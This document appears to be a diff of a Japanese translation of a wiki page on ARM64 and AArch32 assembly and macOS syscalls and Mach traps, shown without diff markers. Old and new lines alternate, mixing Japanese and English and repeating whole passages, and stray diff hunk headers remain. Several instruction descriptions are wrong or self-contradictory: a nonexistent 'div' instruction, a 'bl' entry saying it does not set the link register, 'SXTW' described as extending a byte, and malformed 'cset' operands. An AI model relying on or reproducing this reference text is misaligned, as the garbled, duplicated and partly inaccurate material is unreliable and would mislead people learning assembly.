- ビットフィールド移動:`BFM Xd, Xn, #r`
|
||||
- 符号付きビットフィールド移動:`SBFM Xd, Xn, #r, #s`
|
||||
- 符号なしビットフィールド移動:`UBFM Xd, Xn, #r, #s`
|
||||
- **ビットフィールドの抽出と挿入**:レジスタからビットフィールドをコピーし、別のレジスタにコピーします。
|
||||
- **`BFI X1, X2, #3, #4`** X1の3ビット目からX2の4ビットを挿入します。
|
||||
- **`BFXIL X1, X2, #3, #4`** X2の3ビット目から4ビットを抽出し、X1にコピーします。
|
||||
- **`SBFIZ X1, X2, #3, #4`** X2から4ビットを符号拡張し、ビット位置3からX1に挿入します。右のビットはゼロにします。
|
||||
- **`SBFX X1, X2, #3, #4`** X2の3ビット目から4ビットを抽出し、符号拡張してX1に配置します。
|
||||
- **`UBFIZ X1, X2, #3, #4`** X2から4ビットをゼロ拡張し、ビット位置3からX1に挿入します。右のビットはゼロにします。
|
||||
- **`UBFX X1, X2, #3, #4`** X2の3ビット目から4ビットを抽出し、ゼロ拡張された結果をX1に配置します。
|
||||
- **符号拡張Xへの拡張**:値の符号を拡張(または符号なしバージョンでは単に0を追加)して、操作を実行できるようにします:
|
||||
- **`SXTB X1, W2`** W2からX1にバイトの符号を拡張します(`W2`は`X2`の半分です)。
|
||||
- **`SXTH X1, W2`** W2からX1に16ビット数の符号を拡張します。
|
||||
- **`SXTW X1, W2`** W2からX1にバイトの符号を拡張します。
|
||||
- **`UXTB X1, W2`** W2からX1にバイトに0を追加します(符号なし)。
|
||||
- **`extr`**:指定された**ペアのレジスタを連結**してビットを抽出します。
|
||||
- 例:`EXTR W3, W2, W1, #3` これは**W1+W2を連結**し、**W2のビット3からW1のビット3まで**を取得してW3に保存します。
|
||||
- **`cmp`**: **2つのレジスタを比較**し、条件フラグを設定します。これは**`subs`**のエイリアスで、宛先レジスタをゼロレジスタに設定します。`m == n`かどうかを知るのに便利です。
|
||||
- **`subs`**と同じ構文をサポートします。
|
||||
- 例:`cmp x0, x1` — これは`x0`と`x1`の値を比較し、条件フラグを適切に設定します。
|
||||
- **`cmn`**: **負のオペランドを比較**します。この場合、これは**`adds`**のエイリアスで、同じ構文をサポートします。`m == -n`かどうかを知るのに便利です。
|
||||
- **`ccmp`**: 条件付き比較で、これは前の比較が真であった場合にのみ実行され、特にnzcvビットを設定します。
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2かつx3 < x4の場合、funcにジャンプします。
|
||||
- これは**`ccmp`**が**前の`cmp`が`NE`であった場合にのみ実行されるため**、そうでない場合はビット`nzcv`が0に設定され(`blt`比較を満たさない)、使用されます。
|
||||
- これは`ccmn`としても使用できます(同じですが負の、`cmp`対`cmn`のように)。
|
||||
- **`tst`**: 比較の値が両方とも1であるかどうかをチェックします(結果をどこにも保存せずにANDSのように動作します)。これは、レジスタの値と値を比較し、指定された値のビットのいずれかが1であるかどうかを確認するのに便利です。
|
||||
- 例:`tst X1, #7` X1の最後の3ビットのいずれかが1であるかを確認します。
|
||||
- **`teq`**: 結果を破棄するXOR操作。
|
||||
- **`b`**: 無条件分岐。
|
||||
- 例:`b myFunction`
|
||||
- これはリンクレジスタに戻りアドレスを設定しないため(戻る必要があるサブルーチン呼び出しには適していません)。
|
||||
- **`bl`**: **リンク付き分岐**、**サブルーチンを呼び出す**ために使用されます。**戻りアドレスを`x30`に保存**します。
|
||||
- 例:`bl myFunction` — これは関数`myFunction`を呼び出し、戻りアドレスを`x30`に保存します。
|
||||
- これはリンクレジスタに戻りアドレスを設定しないため(戻る必要があるサブルーチン呼び出しには適していません)。
|
||||
- **`blr`**: **レジスタへのリンク付き分岐**、ターゲットが**レジスタ**で指定される**サブルーチンを呼び出す**ために使用されます。戻りアドレスを`x30`に保存します。
|
||||
- 例:`blr x1` — これは`x1`に含まれるアドレスの関数を呼び出し、戻りアドレスを`x30`に保存します。
|
||||
- **`ret`**: **サブルーチンから戻る**、通常は**`x30`**のアドレスを使用します。
|
||||
- 例:`ret` — これは現在のサブルーチンから戻り、`x30`の戻りアドレスを使用します。
|
||||
- **`b.<cond>`**: 条件付き分岐。
|
||||
- **`b.eq`**: **等しい場合に分岐**、前の`cmp`命令に基づいて。
|
||||
- 例:`b.eq label` — 前の`cmp`命令が2つの等しい値を見つけた場合、これは`label`にジャンプします。
|
||||
- **`b.ne`**: **等しくない場合に分岐**。この命令は条件フラグをチェックし(前の比較命令によって設定された)、比較された値が等しくない場合、ラベルまたはアドレスに分岐します。
|
||||
- 例:`cmp x0, x1`命令の後、`b.ne label` — `x0`と`x1`の値が等しくない場合、これは`label`にジャンプします。
|
||||
- **`cbz`**: **ゼロで比較し分岐**。この命令はレジスタをゼロと比較し、等しい場合はラベルまたはアドレスに分岐します。
|
||||
- 例:`cbz x0, label` — `x0`の値がゼロの場合、これは`label`にジャンプします。
|
||||
- **`cbnz`**: **非ゼロで比較し分岐**。この命令はレジスタをゼロと比較し、等しくない場合はラベルまたはアドレスに分岐します。
|
||||
- 例:`cbnz x0, label` — `x0`の値が非ゼロの場合、これは`label`にジャンプします。
|
||||
- **`tbnz`**: ビットをテストし、非ゼロの場合に分岐。
|
||||
- 例:`tbnz x0, #8, label`
|
||||
- **`tbz`**: ビットをテストし、ゼロの場合に分岐。
|
||||
- 例:`tbz x0, #8, label`
|
||||
- **条件付き選択操作**:これらは条件ビットに応じて動作が変わる操作です。
|
||||
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 真の場合、X0 = X1、偽の場合、X0 = X2
|
||||
- `csinc Xd, Xn, Xm, cond` -> 真の場合、Xd = Xn、偽の場合、Xd = Xm + 1
|
||||
- `cinc Xd, Xn, cond` -> 真の場合、Xd = Xn + 1、偽の場合、Xd = Xn
|
||||
- `csinv Xd, Xn, Xm, cond` -> 真の場合、Xd = Xn、偽の場合、Xd = NOT(Xm)
|
||||
- `cinv Xd, Xn, cond` -> 真の場合、Xd = NOT(Xn)、偽の場合、Xd = Xn
|
||||
- `csneg Xd, Xn, Xm, cond` -> 真の場合、Xd = Xn、偽の場合、Xd = - Xm
|
||||
- `cneg Xd, Xn, cond` -> 真の場合、Xd = - Xn、偽の場合、Xd = Xn
|
||||
- `cset Xd, Xn, Xm, cond` -> 真の場合、Xd = 1、偽の場合、Xd = 0
|
||||
- `csetm Xd, Xn, Xm, cond` -> 真の場合、Xd = \<すべて1>、偽の場合、Xd = 0
|
||||
- **`adrp`**: シンボルの**ページアドレスを計算**し、レジスタに保存します。
|
||||
- 例:`adrp x0, symbol` — これは`symbol`のページアドレスを計算し、`x0`に保存します。
|
||||
- **`ldrsw`**: メモリから**符号付き32ビット**値を**ロード**し、**64ビットに符号拡張**します。
|
||||
- 例:`ldrsw x0, [x1]` — これは`x1`が指すメモリ位置から符号付き32ビット値をロードし、64ビットに符号拡張して`x0`に保存します。
|
||||
- **`stur`**: **レジスタ値をメモリ位置に保存**し、別のレジスタからのオフセットを使用します。
|
||||
- 例:`stur x0, [x1, #4]` — これは`x0`の値を`x1`のアドレスより4バイト大きいメモリアドレスに保存します。
|
||||
- **`svc`** : **システムコール**を行います。「スーパーバイザコール」を意味します。この命令をプロセッサが実行すると、**ユーザーモードからカーネルモードに切り替わり**、**カーネルのシステムコール処理**コードがあるメモリの特定の位置にジャンプします。
|
||||
- Xn3 | #imm -> オペランド2(レジスタまたは即値)
|
||||
- [shift #N | RRX] -> シフトを行うか RRX を呼ぶ
|
||||
- 例: `add x0, x1, x2` — `x1`と`x2`の値を加算して`x0`に格納します。
|
||||
- `add x5, x5, #1, lsl #12` — これは4096に相当します(1を12回左シフト)-> 1 0000 0000 0000 0000
|
||||
- **`adds`**: `add`を実行しフラグを更新します。
|
||||
- **`sub`**: 2つのレジスタの値を減算して結果をレジスタに格納します(`add`と同様の構文)。
|
||||
- 例: `sub x0, x1, x2` — `x1`から`x2`を引いて結果を`x0`に格納します。
|
||||
- **`subs`**: `sub`だがフラグを更新します。
|
||||
- **`mul`**: 2つのレジスタの値を乗算して結果を格納します。
|
||||
- 例: `mul x0, x1, x2` — `x1`と`x2`を乗算して`x0`に格納します。
|
||||
- **`div`**: 1つのレジスタの値を別のレジスタで除算して結果を格納します。
|
||||
- 例: `div x0, x1, x2` — `x1`を`x2`で除算して結果を`x0`に格納します。
|
||||
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
- **Logical shift left**: ビットを左に移動し末尾に0を追加(2のn乗による乗算)
|
||||
- **Logical shift right**: ビットを右に移動し先頭に0を追加(符号無しでの2のn乗による除算)
|
||||
- **Arithmetic shift right**: `lsr`に似ますが、最上位ビットが1の場合は先頭に1を追加します(符号付きでの2のn乗による除算)
|
||||
- **Rotate right**: `lsr`に似ていますが、右から削除されたビットが左に回転されて追加されます
|
||||
- **Rotate Right with Extend**: `ror`に似ていますが、キャリーフラグを「最上位ビット」として扱います。キャリーフラグがビット31に移り、削除されたビットがキャリーフラグに入ります。
|
||||
- **`bfm`**: Bit Field Move。これらの操作は値のビット `0...n` をコピーして位置 `m..m+n` に配置します。`#s` は左端のビット位置、`#r` は右回転量を指定します。
|
||||
- Bitfield move: `BFM Xd, Xn, #r`
|
||||
- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
|
||||
- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
|
||||
- **Bitfield Extract and Insert:** レジスタからビットフィールドをコピーして別のレジスタにコピーします。
|
||||
- **`BFI X1, X2, #3, #4`** X2の4ビットをX1の3ビット目から挿入します
|
||||
- **`BFXIL X1, X2, #3, #4`** X2の3ビット目から4ビットを抽出してX1にコピーします
|
||||
- **`SBFIZ X1, X2, #3, #4`** X2の4ビットを符号拡張してX1のビット位置3から挿入し、右側のビットを0にします
|
||||
- **`SBFX X1, X2, #3, #4`** X2のビット3から4ビットを抽出して符号拡張し、結果をX1に配置します
|
||||
- **`UBFIZ X1, X2, #3, #4`** X2の4ビットをゼロ拡張してX1のビット位置3から挿入し、右側のビットを0にします
|
||||
- **`UBFX X1, X2, #3, #4`** X2のビット3から4ビットを抽出してゼロ拡張した結果をX1に配置します。
|
||||
- **Sign Extend To X:** 値の符号を拡張(符号無しの場合は0を埋める)して演算に使えるようにします:
|
||||
- **`SXTB X1, W2`** W2の1バイトの符号を拡張してX1に(W2はX2の下位半分)
|
||||
- **`SXTH X1, W2`** 16ビットの符号を拡張してX1に
|
||||
- **`SXTW X1, W2`** 32ビットの符号を拡張してX1に
|
||||
- **`UXTB X1, W2`** W2のバイトをゼロ拡張してX1に
|
||||
- **`extr`**: 指定したレジスタペアを連結してからビットを抽出します。
|
||||
- 例: `EXTR W3, W2, W1, #3` これは `W1+W2` を連結し、W2のビット3からW1のビット3までを取り出して W3 に格納します。
|
||||
- **`cmp`**: 2つのレジスタを比較して条件フラグを設定します。これは `subs` のエイリアスで、宛先レジスタをゼロレジスタに設定します。`m == n` かどうかを知るのに便利です。
|
||||
- `subs` と同じ構文をサポートします。
|
||||
- 例: `cmp x0, x1` — `x0` と `x1` を比較して条件フラグを設定します。
|
||||
- **`cmn`**: 負のオペランドを比較します。これは `adds` のエイリアスで同じ構文をサポートします。`m == -n` を知るのに便利です。
|
||||
- **`ccmp`**: 条件付き比較。これは前の比較が真のときのみ実行され、特に `nzcv` ビットを設定します。
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> もし x1 != x2 かつ x3 < x4 なら func にジャンプ
|
||||
- これは `ccmp` が前の `cmp` が `NE` の場合にのみ実行されるためです。そうでない場合、`nzcv` ビットは0にセットされ(`blt`の条件を満たしません)。
|
||||
- これは `ccmn`(同様だが負の比較)としても使用できます。
|
||||
- **`tst`**: 比較の値のいずれかのビットが1かを検査します(結果はどこにも格納しない ANDS のように動作)。レジスタと値を比較して指定したビットが1かどうかをチェックするのに便利です。
|
||||
- 例: `tst X1, #7` X1の下位3ビットのいずれかが1かをチェックします
|
||||
- **`teq`**: 結果を破棄するXOR操作
|
||||
- **`b`**: 無条件分岐
|
||||
- 例: `b myFunction`
|
||||
- これはリンクレジスタに戻りアドレスをセットしないので、戻る必要のあるサブルーチン呼び出しには不適です。
|
||||
- **`bl`**: リンク付き分岐。サブルーチン呼び出しに使用され、**戻りアドレスを`x30`に保存**します。
|
||||
- 例: `bl myFunction` — 関数 `myFunction` を呼び出し、戻りアドレスを `x30` に保存します。
|
||||
- **`blr`**: レジスタへのリンク付き分岐。ターゲットがレジスタで指定されるサブルーチン呼び出しに使われ、戻りアドレスを `x30` に保存します。
|
||||
- 例: `blr x1` — x1に格納されたアドレスの関数を呼び出し、戻りアドレスを `x30` に保存します。
|
||||
- **`ret`**: サブルーチンからの戻り。通常 `x30` のアドレスを使います。
|
||||
- 例: `ret` — 現在のサブルーチンから `x30` の戻りアドレスを使って戻ります。
|
||||
- **`b.<cond>`**: 条件付き分岐
|
||||
- **`b.eq`**: 等しい場合に分岐(直前の `cmp` に基づく)。
|
||||
- 例: `b.eq label` — 直前の `cmp` で等しいと判断されたら `label` にジャンプします。
|
||||
- **`b.ne`**: 等しくない場合に分岐。条件フラグをチェックし、等しくない場合はラベルやアドレスへ分岐します。
|
||||
- 例: `cmp x0, x1` の後に `b.ne label` — `x0` と `x1` が等しくない場合に `label` にジャンプします。
|
||||
- **`cbz`**: ゼロと比較して分岐。レジスタをゼロと比較し、等しければ分岐します。
|
||||
- 例: `cbz x0, label` — `x0` がゼロなら `label` にジャンプします。
|
||||
- **`cbnz`**: ゼロでない場合に分岐。
|
||||
- 例: `cbnz x0, label` — `x0` がゼロでなければ `label` にジャンプします。
|
||||
- **`tbnz`**: 指定ビットをテストしてゼロでなければ分岐
|
||||
- 例: `tbnz x0, #8, label`
|
||||
- **`tbz`**: 指定ビットをテストしてゼロなら分岐
|
||||
- 例: `tbz x0, #8, label`
|
||||
- **条件付きセレクト操作**: 条件ビットに応じて動作が変わる操作群。
|
||||
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 真なら X0 = X1, 偽なら X0 = X2
|
||||
- `csinc Xd, Xn, Xm, cond` -> 真なら Xd = Xn, 偽なら Xd = Xm + 1
|
||||
- `cinc Xd, Xn, cond` -> 真なら Xd = Xn + 1, 偽なら Xd = Xn
|
||||
- `csinv Xd, Xn, Xm, cond` -> 真なら Xd = Xn, 偽なら Xd = NOT(Xm)
|
||||
- `cinv Xd, Xn, cond` -> 真なら Xd = NOT(Xn), 偽なら Xd = Xn
|
||||
- `csneg Xd, Xn, Xm, cond` -> 真なら Xd = Xn, 偽なら Xd = -Xm
|
||||
- `cneg Xd, Xn, cond` -> 真なら Xd = -Xn, 偽なら Xd = Xn
|
||||
- `cset Xd, Xn, Xm, cond` -> 真なら Xd = 1, 偽なら Xd = 0
|
||||
- `csetm Xd, Xn, Xm, cond` -> 真なら Xd = <全ビット1>, 偽なら Xd = 0
|
||||
- **`adrp`**: シンボルのページアドレスを計算してレジスタに格納します。
|
||||
- 例: `adrp x0, symbol` — `symbol` のページアドレスを計算して `x0` に格納します。
|
||||
- **`ldrsw`**: メモリから符号付き32ビット値をロードし、それを64ビットへ符号拡張して格納します。
|
||||
- 例: `ldrsw x0, [x1]` — `x1`が指すメモリ位置から符号付き32ビット値をロードし、64ビットに符号拡張して`x0`に格納します。
|
||||
- **`stur`**: オフセットを使ってレジスタの値をメモリ位置にストアします。
|
||||
- 例: `stur x0, [x1, #4]` — `x1`の示すアドレスから4バイト先のメモリ位置に`x0`の値を格納します。
|
||||
- **`svc`** : システムコールを行います。Supervisor Callの略です。この命令を実行すると、プロセッサはユーザモードからカーネルモードへ切り替わり、カーネルのシステムコール処理コードがある特定の場所にジャンプします。
|
||||
|
||||
- 例:
|
||||
- 例:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; システムコール番号93をレジスタx8にロードします。
|
||||
mov x0, 0 ; 終了ステータスコード0をレジスタx0にロードします。
|
||||
svc 0 ; システムコールを行います。
|
||||
mov x8, 93 ; Load the system call number for exit (93) into register x8.
|
||||
mov x0, 0 ; Load the exit status code (0) into register x0.
|
||||
svc 0 ; Make the system call.
|
||||
```
|
||||
|
||||
### **関数プロローグ**
|
||||
### **Function Prologue**
|
||||
|
||||
1. **リンクレジスタとフレームポインタをスタックに保存**:
|
||||
1. **リンクレジスタとフレームポインタをスタックに保存する**:
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
2. **新しいフレームポインタを設定する**: `mov x29, sp` (現在の関数のために新しいフレームポインタを設定します)
|
||||
3. **ローカル変数のためにスタック上にスペースを割り当てる** (必要な場合): `sub sp, sp, <size>` (ここで `<size>` は必要なバイト数です)
|
||||
2. **新しいフレームポインタを設定する**: `mov x29, sp` (現在の関数の新しいフレームポインタを設定する)
|
||||
3. **ローカル変数用にスタック上の領域を確保する**(必要な場合): `sub sp, sp, <size>` (`<size>` は必要なバイト数)
|
||||
|
||||
### **関数エピローグ**
|
||||
### **関数のエピローグ**
|
||||
|
||||
1. **ローカル変数を解放する (割り当てられている場合)**: `add sp, sp, <size>`
|
||||
1. **ローカル変数の領域を解放する**(もし割り当てられていれば): `add sp, sp, <size>`
|
||||
2. **リンクレジスタとフレームポインタを復元する**:
|
||||
```armasm
|
||||
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
|
||||
```
|
||||
3. **Return**: `ret` (呼び出し元に制御を返すためにリンクレジスタのアドレスを使用)
|
||||
3. **Return**: `ret` (リンクレジスタのアドレスを使用して呼び出し元に制御を返す)
|
||||
|
||||
## AARCH32 実行状態
|
||||
## AARCH32 Execution State
|
||||
|
||||
Armv8-Aは32ビットプログラムの実行をサポートしています。**AArch32**は**2つの命令セット**のいずれかで実行できます:**`A32`**と**`T32`**で、**`interworking`**を介してそれらの間を切り替えることができます。\
|
||||
**特権**のある64ビットプログラムは、特権の低い32ビットプログラムへの例外レベル転送を実行することによって**32ビット**プログラムの**実行をスケジュール**できます。\
|
||||
64ビットから32ビットへの遷移は、例外レベルの低下と共に発生することに注意してください(例えば、EL1の64ビットプログラムがEL0のプログラムをトリガーする)。これは、`AArch32`プロセススレッドが実行される準備ができたときに**`SPSR_ELx`**特別レジスタの**ビット4を1に設定**することによって行われ、`SPSR_ELx`の残りは**`AArch32`**プログラムのCPSRを格納します。その後、特権プロセスは**`ERET`**命令を呼び出し、プロセッサはCPSRに応じて**`AArch32`**に遷移し、A32またはT32に入ります。**
|
||||
Armv8-A は 32-bit プログラムの実行をサポートする。**AArch32** は **2つの命令セット** のいずれか、**`A32`** と **`T32`** で動作でき、**`interworking`** によってそれらを切り替えられる。\
|
||||
**特権** の 64-bit プログラムは、より低い特権の 32-bit へ例外レベルを移すことにより、**32-bit の実行** をスケジュールできる。\
|
||||
64-bit から 32-bit への遷移は、より低い例外レベル(例えば EL1 の 64-bit プログラムが EL0 のプログラムを起動する場合)で発生する点に注意。これは、`AArch32` プロセススレッドが実行準備完了したときに、特殊レジスタ **`SPSR_ELx``** の **bit 4 を 1 に設定**し、`SPSR_ELx` の残りが **`AArch32`** プログラムの CPSR を保持することで行われる。次に、特権プロセスが **`ERET`** 命令を呼び出すとプロセッサは **`AArch32`** に遷移し、CPSR によって A32 または T32 に入る**.**
|
||||
|
||||
**`interworking`**はCPSRのJビットとTビットを使用して行われます。`J=0`および`T=0`は**`A32`**を意味し、`J=0`および`T=1`は**T32**を意味します。これは基本的に、命令セットがT32であることを示すために**最下位ビットを1に設定する**ことに相当します。\
|
||||
これは**interworkingブランチ命令**の間に設定されますが、PCが宛先レジスタとして設定されているときに他の命令で直接設定することもできます。例:
|
||||
The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. This basically traduces on setting the **lowest bit to 1** to indicate the instruction set is T32.\
|
||||
これは **interworking branch instructions,** の間に設定されるが、PC を送先レジスタに設定する他の命令で直接設定することもできる。例:
|
||||
|
||||
別の例:
|
||||
Another example:
|
||||
```armasm
|
||||
_start:
|
||||
.code 32 ; Begin using A32
|
||||
@ -264,60 +265,60 @@ mov r0, #8
|
||||
```
|
||||
### レジスタ
|
||||
|
||||
16個の32ビットレジスタ(r0-r15)があります。**r0からr14**は**任意の操作**に使用できますが、そのうちいくつかは通常予約されています:
|
||||
16個の32-bitレジスタがあります (r0-r15)。 **r0からr14までは** 任意の操作に使用できますが、いくつかは通常予約されています:
|
||||
|
||||
- **`r15`**: プログラムカウンタ(常に)。次の命令のアドレスを含みます。A32では現在 + 8、T32では現在 + 4です。
|
||||
- **`r11`**: フレームポインタ
|
||||
- **`r12`**: 手続き内呼び出しレジスタ
|
||||
- **`r13`**: スタックポインタ
|
||||
- **`r14`**: リンクレジスタ
|
||||
- **`r15`**: Program counter(常に)。次の命令のアドレスを含みます。A32では現在の命令アドレス + 8、T32では現在の命令アドレス + 4。
|
||||
- **`r11`**: Frame Pointer
|
||||
- **`r12`**: Intra-procedural call register
|
||||
- **`r13`**: Stack Pointer(スタックは常に16バイト境界に揃えられていることに注意)
|
||||
- **`r14`**: Link Register
|
||||
|
||||
さらに、レジスタは**`バンクレジスタ`**にバックアップされます。これは、例外処理や特権操作において**迅速なコンテキストスイッチ**を行うためにレジスタの値を保存する場所であり、毎回手動でレジスタを保存および復元する必要を回避します。\
|
||||
これは、例外が発生したプロセッサモードの**`CPSR`**から**`SPSR`**にプロセッサ状態を**保存することによって**行われます。例外から戻ると、**`CPSR`**は**`SPSR`**から復元されます。
|
||||
さらに、レジスタは **`banked registries`** にバックアップされます。これはレジスタ値を格納し、例外処理や特権操作で毎回手動で保存・復元する必要を避けつつ、**高速なコンテキストスイッチ** を可能にする領域です。\
|
||||
これは例外が取られたプロセッサモードの状態を **`CPSR` から `SPSR` に保存する** ことで行われます。例外復帰時には **`SPSR`** から **`CPSR`** が復元されます。
|
||||
|
||||
### CPSR - 現在のプログラムステータスレジスタ
|
||||
### CPSR - Current Program Status Register
|
||||
|
||||
AArch32では、CPSRはAArch64の**`PSTATE`**と似たように機能し、例外が発生したときに後で実行を復元するために**`SPSR_ELx`**に保存されます:
|
||||
AArch32では CPSR は AArch64 の **`PSTATE`** と同様に機能し、例外発生時に実行を後で復元するために **`SPSR_ELx`** に格納されます:
|
||||
|
||||
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
フィールドはいくつかのグループに分かれています:
|
||||
フィールドはいくつかのグループに分かれています:
|
||||
|
||||
- アプリケーションプログラムステータスレジスタ(APSR):算術フラグで、EL0からアクセス可能
|
||||
- 実行状態レジスタ:プロセスの動作(OSによって管理される)。
|
||||
- Application Program Status Register (APSR): 算術フラグで、EL0からアクセス可能
|
||||
- Execution State Registers: プロセスの振る舞い(OSによって管理)
|
||||
|
||||
#### アプリケーションプログラムステータスレジスタ(APSR)
|
||||
#### Application Program Status Register (APSR)
|
||||
|
||||
- **`N`**、**`Z`**、**`C`**、**`V`**フラグ(AArch64と同様)
|
||||
- **`Q`**フラグ:特定の飽和算術命令の実行中に**整数飽和が発生した**場合に1に設定されます。一度**`1`**に設定されると、手動で0に設定されるまでその値を保持します。さらに、その値を暗黙的にチェックする命令はなく、手動で読み取る必要があります。
|
||||
- **`GE`**(以上または等しい)フラグ:これは、"並列加算"や"並列減算"などのSIMD(Single Instruction, Multiple Data)操作で使用されます。これらの操作は、単一の命令で複数のデータポイントを処理することを可能にします。
|
||||
- **`N`**, **`Z`**, **`C`**, **`V`** フラグ(AArch64と同様)
|
||||
- **`Q`** フラグ: 特定の飽和算術命令の実行中に整数の飽和が発生すると1に設定されます。一度 **`1`** に設定されると手動で0に設定されるまでその値を保持します。さらに、このフラグを暗黙的にチェックする命令はなく、手動で読み取る必要があります。
|
||||
- **`GE`**(Greater than or equal)フラグ: SIMD(Single Instruction, Multiple Data)演算、例えば "parallel add" や "parallel subtract" のような操作で使用されます。これらの操作は単一命令で複数のデータポイントを処理できます。
|
||||
|
||||
例えば、**`UADD8`**命令は**4つのバイトペア**(2つの32ビットオペランドから)を並列に加算し、結果を32ビットレジスタに格納します。その後、これらの結果に基づいて**`APSR`**内の**`GE`**フラグを**設定します**。各GEフラグは、バイトペアの加算が**オーバーフローした**かどうかを示します。
|
||||
例えば、**`UADD8`** 命令は(2つの32-bitオペランドから)4組のバイトを並列に加算して結果を32-bitレジスタに格納します。次にこれらの結果に基づいて **`APSR` の `GE` フラグ** を設定します。各 GE フラグは各バイト加算に対応し、そのバイトペアの加算で**オーバーフロー**が発生したかを示します。
|
||||
|
||||
**`SEL`**命令は、これらのGEフラグを使用して条件付きアクションを実行します。
|
||||
- **`SEL`** 命令はこれらの GE フラグを使用して条件付き動作を行います。
|
||||
|
||||
#### 実行状態レジスタ
|
||||
#### Execution State Registers
|
||||
|
||||
- **`J`**および**`T`**ビット:**`J`**は0であるべきで、**`T`**が0の場合は命令セットA32が使用され、1の場合はT32が使用されます。
|
||||
- **ITブロック状態レジスタ**(`ITSTATE`):これらは10-15および25-26のビットです。**`IT`**接頭辞のグループ内の命令の条件を保存します。
|
||||
- **`E`**ビット:**エンディアンネス**を示します。
|
||||
- **モードおよび例外マスクビット**(0-4):現在の実行状態を決定します。**5番目**のビットは、プログラムが32ビット(1)または64ビット(0)で実行されているかを示します。他の4つは、**現在使用中の例外モード**を表します(例外が発生し、それが処理されているとき)。設定された番号は、他の例外がこの処理中にトリガーされた場合の**現在の優先度**を示します。
|
||||
- **`J`** および **`T`** ビット: **`J`** は0であるべきで、**`T`** が0なら命令セットは A32、1なら T32 が使用されます。
|
||||
- **IT Block State Register** (`ITSTATE`): ビット10-15および25-26です。**`IT`** プレフィックス付きのグループ内の命令に対する条件を格納します。
|
||||
- **`E`** ビット: エンディアンを示します。
|
||||
- **Mode and Exception Mask Bits** (0-4): 現在の実行状態を決定します。5番目のビットはプログラムが32bit(1)として動作しているか64bit(0)として動作しているかを示します。残りの4ビットは(例外が発生して処理されているときの)**現在使用中の例外モード**を表します。設定された値は、この処理中に別の例外が発生した場合の**現在の優先度**を示します。
|
||||
|
||||
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**:特定の例外は、ビット**`A`**、`I`、`F`を使用して無効にできます。**`A`**が1の場合、**非同期中断**がトリガーされることを意味します。**`I`**は外部ハードウェア**割り込み要求**(IRQ)に応答するように設定します。Fは**高速割り込み要求**(FIR)に関連しています。
|
||||
- **`AIF`**: 特定の例外は **`A`**, `I`, `F` のビットで無効化できます。**`A`** が1であれば非同期アボート(asynchronous aborts)が発生します。**`I`** は外部ハードウェアの Interrupt Requests (IRQs) に応答する設定で、`F` は Fast Interrupt Requests (FIRs) に関連します。
|
||||
|
||||
## macOS
|
||||
|
||||
### BSDシステムコール
|
||||
### BSD syscalls
|
||||
|
||||
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)を確認してください。BSDシステムコールは**x16 > 0**になります。
|
||||
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) を参照するか、`cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h` を実行してください。BSD syscalls は **x16 > 0** になります。
|
||||
|
||||
### Machトラップ
|
||||
### Mach Traps
|
||||
|
||||
[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)の`mach_trap_table`と[**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)のプロトタイプを確認してください。Machトラップの最大数は`MACH_TRAP_TABLE_COUNT` = 128です。Machトラップは**x16 < 0**になるため、前のリストから番号を**マイナス**で呼び出す必要があります:**`_kernelrpc_mach_vm_allocate_trap`**は**`-10`**です。
|
||||
[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) の `mach_trap_table` と [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) のプロトタイプを確認してください。Mach traps の最大数は `MACH_TRAP_TABLE_COUNT` = 128 です。Mach traps は **x16 < 0** となるため、前述のリストの番号をマイナスで呼び出す必要があります: **`_kernelrpc_mach_vm_allocate_trap`** は **`-10`** です。
|
||||
|
||||
これら(およびBSD)システムコールを呼び出す方法を見つけるために、ディスアセンブラで**`libsystem_kernel.dylib`**を確認することもできます:
|
||||
逆アセンブラで **`libsystem_kernel.dylib`** を確認すると、これら(および BSD)syscalls の呼び出し方が分かります:
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
@ -325,32 +326,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
|
||||
# iOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
||||
```
|
||||
注意してください、**Ida** と **Ghidra** はキャッシュを通過させるだけで **特定の dylibs** をデコンパイルすることもできます。
|
||||
Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache.
|
||||
|
||||
> [!TIP]
|
||||
> 時には **ソースコード** を確認するよりも **`libsystem_kernel.dylib`** の **デコンパイルされた** コードをチェックする方が簡単です。なぜなら、いくつかのシステムコール(BSD と Mach)のコードはスクリプトを介して生成されているため(ソースコードのコメントを確認)、dylib では何が呼び出されているかを見つけることができます。
|
||||
